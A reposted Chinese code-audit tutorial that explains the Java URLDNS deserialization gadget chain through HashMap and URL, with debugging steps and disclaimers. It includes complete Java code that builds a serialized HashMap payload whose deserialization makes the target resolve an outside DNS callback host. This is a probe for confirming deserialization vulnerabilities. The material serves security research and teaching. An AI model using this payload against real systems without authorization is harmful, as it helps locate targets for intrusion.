文章总结: 本文详细解析了Java反序列化漏洞检测中常用的URLDNS链机制,该链利用JDK内置的java.net.URL和java.util.HashMap类实现无第三方依赖的漏洞探测。关键发现包括:通过URL的hashCode方法触发DNS解析请求,结合HashMap的readObject方法构成完整攻击链;同时指出需通过反射修改hashCode缓存值(初始设为非-1避免put时触发,序列化前重置为-1)确保反序列化时成功触发DNS。文档提供了完整的代码实现和调试过程,具备直接可操作性。 综合评分: 85 文章分类: 代码审计,漏洞分析,WEB安全,安全工具,实战经验
【代码审计】URLDNS链
原创
十月的进阶之路 十月的进阶之路
十月的进阶之路
2026年6月20日 13:34 中国香港
在小说阅读器读本章
去阅读
花有重开日,人无再少年
本文介绍URLDNS链,该链常用于检测是否存在反序列化漏洞,并且该链具备一些非常好的特点,包括:
- 该链使用
java.net.URL、java.util.HashMap等jdk内置的类,没有第三方依赖的要求; - 如果目标不存在回显,则可以通过是否发起来了
DNS解析来检测是否存在反序列化漏洞; - 一般而言,该链只用于探测是否存在反序列化漏洞,无法直接
RCE;
依旧开始调试,我们知道我们的目的是通过发起DNS解析请求来分析是否存在漏洞,那么这个链最终肯定是需要进入URL相关类的相关方法中进行处理。我们从URLStreamHandler#getHostAddress这个方法开始分析,getHostAddress内部调用了InetAddress.getByName(),这才是真正发出DNS请求的系统调用,getHostAddress是距离DNS触发最近的Java层方法,因此以getHostAddress方法作为分析的起点。
继续分析getHostAddress方法的上层引用。
进入URLStreamHandler#hashCode方法。
继续分析hashCode方法的上层引用。
进入URL#hashCode方法,因此通过这段链发现,只需要声明一个URL实例,并调用该实例的hashCode方法即可触发DNS解析请求,因此编写如下测试代码。
package org.example;
import java.net.MalformedURLException;
import java.net.URL;
public class Main {
public static void main(String[] args) throws MalformedURLException {
URL url = new URL("http://838ba6ba51.ddns.1433.eu.org.");
System.out.println(url.hashCode());
}
}
断点调试证明这个过程。
步过发起DNS解析请求。
到此为止我们知道URL实例的hashCode方法会发起DNS解析请求,我们继续查找对应的引用,分析在哪里有可能调用这个hashCode方法,进而触发URLDNS链。
通过检索hashCode方法的相关引用进入到HashMap#hash方法,发现在该方法中调用了hashCode方法,因此可以继续修改测试代码。
package org.example;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws MalformedURLException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
URL url = new URL("http://838ba6ba51.ddns.1433.eu.org.");
Method hash = HashMap.class.getDeclaredMethod("hash", Object.class);
hash.setAccessible(true);
hash.invoke(null,url);
}
}
测试发现触发了DNS解析请求。
继续检索HashMap#hash方法的上层引用,进入HashMap#readObject方法,这就是我们要找的终点。
也就是只需要将HashMap的实例中添加URL实例作为key即可触发URLDNS链条,编写如下测试代码。
package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.concurrent.ExecutionException;
public class Main {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException {
URL url = new URL("http://d40eaafdd1.ddns.1433.eu.org.");
HashMap<URL,String> map = new HashMap<>();
map.put(url,"test");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(map);
oos.close();
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
ois.close();
}
}
然后通过调试分析,你发现上述代码在map.put(url,"test")直接触发了DNS解析。
| | |
| — | — |
| |
|
而反序列化的过程由于hashCode不等于-1被直接跳过。URL.hashCode()有一个缓存机制,当hashCode!=-1时直接返回缓存值,不再调用handler.hashCode(this),因此不会触发DNS。map.put()时会调用一次hash(key),此时若hashCode==-1就会提前触发DNS并将计算结果缓存下来(值不再是-1),导致反序列化时因缓存命中而跳过DNS触发。
因此我们需要通过反射将hashCode设置为非-1避免在map.put时触发解析,同时在序列化之前重新设置hashCode为-1使得目标在反序列化时触发DNS的解析,修改代码如下。
package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.concurrent.ExecutionException;
public class Main {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException {
URL url = new URL("http://4f0ccacc93.ddns.1433.eu.org.");
Field hashCodeField = url.getClass().getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 1);
HashMap<URL,String> map = new HashMap<>();
map.put(url,"test");
hashCodeField.set(url, -1);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(map);
oos.close();
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
ois.close();
}
}
断点在ois.readObject()处。
未发现发起
DNS解析请求。
继续放掉。
hashCode此时为-1,进入后续逻辑以及DNS解析。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:十月的进阶之路 十月的进阶之路 十月的进阶之路《【代码审计】URLDNS链》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








![[安全工具]JsonExp—Fastjson/Jackson反序列化漏洞自动化检测利器](/images/random/titlepic/15.jpg)

评论